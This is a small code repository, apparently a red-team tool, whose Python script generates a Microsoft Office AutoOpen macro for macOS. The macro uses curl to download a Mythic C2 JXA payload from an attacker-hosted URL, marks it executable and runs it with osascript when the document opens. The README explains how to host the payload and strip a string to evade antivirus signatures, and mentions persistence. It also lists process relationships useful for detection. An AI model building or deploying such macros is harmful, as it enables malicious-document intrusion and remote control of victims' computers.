├── LICENSE ├── README.md └── jxa-macro.py /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Cedric Owens 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Mythic-Macro-Generator 2 | Python3 script to generate MS Office macros for launching Mythic JXA payloads. 3 | 4 | This script generates an Office macro which uses osascript to download and execute the Mythic JXA .js payload. 5 | 6 | Steps: 7 | 8 | 1. Set up Mythic C2 server and generate an "apfell" jxa payload (note: this generator assumes that the payload is using http not https...if you are using https instead, you can just modify the generator script to have curl use https). Download that payload on the Mythic server. 9 | 10 | 2. Remove the first line of the Mythic JXA .js launcher ("// Created by Cody Thomas - @its_a_feature_"). Some static A/V signatures have been known to check for this static string. Host that payload (ex: put the .js payload in a folder and use python -m SimpleHTTPServer to host) 11 | 12 | 3. Run this macro generator: 13 | 14 | **python3 jxa-macro.py -u [url to the hosted .js payload in #2 above]** 15 | 16 | _*example: python3 jxa-macro.py -u http://192.168.1.1:8000/apfell2.js*_ 17 | 18 | 4. The macro text will be dropped to a file in the same directory named "macro.txt" 19 | 20 | 5. Copy and paste that macro into an MS Office doc. 21 | 22 | 23 | --------- 24 | 25 | **Detection:** 26 | 27 | This macro spawns the following parent-child relationships that can be used for detection: 28 | 29 | Office Product (ex: Microsoft Word.app) --> /bin/sh 30 | 31 | Office Product (ex: Microsoft Word.app) --> /bin/bash 32 | 33 | Office Product (ex: Microsoft Word.app) --> /usr/bin/curl 34 | 35 | 36 | --------- 37 | 38 | **Note: This will launch the JXA payload inside of the App Sandbox. However, Mythic does have the ability to add Login Item persistence even from the App Sandbox.** 39 | 40 | -------------------------------------------------------------------------------- /jxa-macro.py: -------------------------------------------------------------------------------- 1 | import optparse 2 | from optparse import OptionParser 3 | import sys 4 | 5 | if ((len(sys.argv) < 3 or len(sys.argv) > 3) and '-h' not in sys.argv): 6 | print("Usage: %s -u " % sys.argv[0]) 7 | sys.exit(1) 8 | 9 | parser = OptionParser() 10 | parser.add_option("-u", "--jxaurl", help="JXA payload url") 11 | (options, args) = parser.parse_args() 12 | 13 | url = options.jxaurl.strip() 14 | 15 | macrofile = open('macro.txt', 'w') 16 | macrofile.write('Sub AutoOpen()\n') 17 | macrofile.write("MacScript(\"do shell script \"\"curl -k %s -o app.js\"\" \")"%url) 18 | macrofile.write("\n") 19 | macrofile.write("MacScript(\"do shell script \"\"chmod +x app.js\"\"\")") 20 | macrofile.write("\n") 21 | macrofile.write("MacScript(\"do shell script \"\"osascript app.js &\"\"\")") 22 | macrofile.write("\n") 23 | macrofile.write("End Sub") 24 | 25 | print("-"*100) 26 | print("Macro was written to macro.txt in the current working directory") 27 | print("DONE!") 28 | --------------------------------------------------------------------------------